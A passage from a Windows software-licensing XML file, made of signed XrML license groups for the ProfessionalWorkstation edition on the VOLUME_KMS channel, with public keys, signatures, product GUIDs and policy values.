3IjmU7jTAC7Sltbv3383W/UjjC9xgyKcNHbvLH6D1Cz7aQ/O87C2KQQ8ivzRjh81PIv1z5ejE66FKB7BuhfEhSgrY0Tlp2KujAukHCD0eBw/nyuH5fBLdH717ZAoJR+X078GySsS5Rz8JJTNaBQsbnO589jf7rBxph6JuLBkHAZK2fSdafap4uUhkjFo6cwdnHsHlknLYfYcZhPasvkt7AX02qK5xHLGi8KZJEop+WQUQAv3bJ9x7bWt1YqSLnfLHAAvo4IxNQGl9k2yPCjjQQPPgCuUeV7N5ozDLicxt/2SducgIzaAD0uhP+r1mFpyqnWsLhgt2WboCxE5CZsJ7gcx4T1GLD1e9Wkh1SajRkiQ+cBRG8joI/mD2xA3Kzs10c+X+yl0JIQpwP8W59S+BSdafIi7pZlF0Cg8XYxakN3SLd5JTLUbJMGEGbTFhmP5dnprf3b29nBfDlgQ9N+0nupXSy0fr7ziddBJ8BcswXLC+Ota0K76CEUIzZ/8DNLBhMI0IDhSW294VA1Xm8AN/PAPdlhUaxKV/kg8RTK2vDqtHaRHD9FYPAN2mIIbaKwECFZtPZ+gsH/1fedm9EOMtxASjSUVQ+iwxHqZ5+yNjszKeA3cQtVvivrhkW48VUy67Gh4IyiGb91ZynQ8TxyMD44uC4g7f7AXXWh8Iw3gqpG0hffqRCNLfmoB1Yk5hT8AbhWUQ77gLJvffo9T2DPgNNawDyh3q6AxOOd9JmLOou4qWUWazX6fICDBeBojsRKXbgeSE8xEeN6MCrVxSu/sTlEFwxss8iF2zSAcCAAEABQABAAIAAQAHAAMAAQAHABM=</sl:data></sl:binding></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{30a42c86-b7a0-4a34-8c90-ff177cb2acb7}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>NbOYFpWybHCaGaxLFv3G3Qs/bB4=</DigestValue></Reference></SignedInfo><SignatureValue>UxzdhLml+TkwnTWqFm+xBFPl2eOQnwjUuAFTi7pA2ckhnTYxQBKGeCGw2wXyLyc1Rs4+TLdeCBDVNr0EqSbqYwO+v3Yna/zvf54k2W55xJAdMTx5I+31lnxc7sXyZC8/LII/uJ9dvmBMYyXZkpQzkpoL0gZwsSjSxYrpC2uzve7C8IfCbfm8rKHlGOaCly6yx4BgyF5+E9UPnpF0prnI+EE6KdioDgvM+nwzCnrlyZ4mHUuRn2ZniC+Vgww3h9byUnyCGTe/HlIMBGd+oEWhewUypDH/sJb3VijOnQ66U0365yvN8tBiz5Tkp0O7Rivd3T7mLzt7xJy0mQ94ypZquA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{30a42c86-b7a0-4a34-8c90-ff177cb2acb7}</tm:infoStr><tm:infoStr name="privateCertificateId">{46ab336f-c976-4a4b-afc6-d2ab070b9bf3}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{71ce6518-3581-46da-948d-083c57061836}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMS_W10 channel</tm:infoStr><tm:infoStr name="UXDifferentiator">VOLUME_KMS</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="phone:policy">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</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{46ab336f-c976-4a4b-afc6-d2ab070b9bf3}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>OODtoByGmP8XYBIcSQmRha0/HkY=</DigestValue></Reference></SignedInfo><SignatureValue>QTRYD3wxSM0HLQpZgsg1mo7YVMZ5ob+74E2Lw/DucOGKRh1YkSprMWeDJ0ey4SWa9KLE/2S20geiry7ln1q6P4y3t6UwFMWqTZF968afRzjt1YN51LHGhPMZDST0gxmA+xs9yC3r49GIv47v9MB71wt5je0MZawX6F+RRjFY3o6UgdYLQfUyLm3tO9pp1fVU5ic3TBUNzSmVFJdyMsx9LLmeRFgPDbPY65V5U0ljXMd/ya7bFRcbVy4i4ey04/vcpv02DjvBL8tk96MledTVTtBhtrCbG9q5Jx2OC1Fjlj5+5HtQGpkP5JRdiWvLAm6gHUBJsU3bpX9wxstFuS4EXg==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{e17af592-6632-46da-8ddb-a15e561d2632}</tm:infoStr><tm:infoStr name="productSkuId">{30a42c86-b7a0-4a34-8c90-ff177cb2acb7}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{4077f8ef-3d87-46dd-9360-6b4241b8c94e}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{30a42c86-b7a0-4a34-8c90-ff177cb2acb7}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>a4i+hdwMM1sMFymqNC6gAVXGC6c=</DigestValue></Reference></SignedInfo><SignatureValue>P4osNSB4tM3NedeNwD5NEFRWNUAcWVcwDUuB2N15mzZUCs5UhcARyM8hGqg6ZobxEKofILoNBuUH3fMF4HnB76QUrL0Y4AlK3RutGPRo4RD1UbLtexkUW9A2dAhLAgcPjZv+fy19waR3NfWh2LF92pEspBEuPeMJxiYimZTQVeItrFCglUJr3S2BhzFHKIAXxoC7kxPob68E3i+jOihRMs6CtoUJxCNOKLID77wdJDqiOS369+/QjD28rN7FsNvOSscMRxQFygdySjPKzYQlDHw64l5c/jjGPYlzVA4xf/kRETZDilMOkafKFYO8JBUaBOczz4d+id1nvcY4Tldy3A==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{30a42c86-b7a0-4a34-8c90-ff177cb2acb7}</tm:infoStr><tm:infoStr name="privateCertificateId">{36d89352-a288-4dea-917a-b9bd14caf60b}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{71ce6518-3581-46da-948d-083c57061836}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMS_W10 channel</tm:infoStr><tm:infoStr name="UXDifferentiator">VOLUME_KMS</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{36d89352-a288-4dea-917a-b9bd14caf60b}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue 